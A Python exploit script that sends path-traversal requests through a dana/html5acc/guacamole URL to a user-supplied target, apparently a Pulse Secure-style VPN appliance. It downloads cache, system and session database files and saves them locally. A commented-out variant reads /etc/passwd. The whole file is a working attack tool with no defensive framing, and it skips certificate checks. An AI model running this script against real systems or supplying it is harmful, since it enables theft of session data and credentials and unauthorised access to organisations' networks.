import os 
import requests
import argparse
import urllib3
urllib3.disable_warnings()

parse = argparse.ArgumentParser(usage='example --url[-u]', description='Give an Exploit Target!!')
parse.add_argument('--url', '-u', help="exploit site",type=str)
domain = parse.parse_args()

#print(domain.url)
URI = domain.url
#exit()

exploit_list=['/data/runtime/mtmp/lmdb/dataa/data.mdb','/data/runtime/mtmp/system','/data/runtime/mtmp/lmdb/randomVal/data.mdb']

## Test With /etc/passwd
#exploit_list=['/etc/passwd']
cache = open("demo_cache","wb")
session = open("demo_session","wb")
system = open("demo_sys","wb")

for i,j in enumerate(exploit_list):
    #domains = requests.get(URI,verify=False)
    #print(domains.status_code)
    print('Start...')
    exploit_site= requests.get(URI+'/dana-na/../dana/html5acc/guacamole/../../../../../..'+ j +'?/dana/html5acc/guacamole/',verify=False)
    print(exploit_site.status_code)
    #print(exploit_site.text)
    print('j:'+ j)
    if j == '/data/runtime/mtmp/lmdb/dataa/data.mdb':
        print('Cache Writing....')
        for chunk in exploit_site.iter_content(chunk_size=1024): 
            if chunk:
                cache.write(chunk)
                #cache.write(exploit_site.text)
        cache.close()
    elif j == '/data/runtime/mtmp/system':
        print('System result writing ...')
        for chunk in exploit_site.iter_content(chunk_size=1024): 
            if chunk:
                system.write(chunk)
                #system.write(exploit_site.text)
        system.close()
    elif j == '/data/runtime/mtmp/lmdb/randomVal/data.mdb':
        print('Session writing ...')
        for chunk in exploit_site.iter_content(chunk_size=1024): 
            if chunk:
                session.write(chunk)
                #session.write(exploit_site.text)
        session.close()
    else:
        break
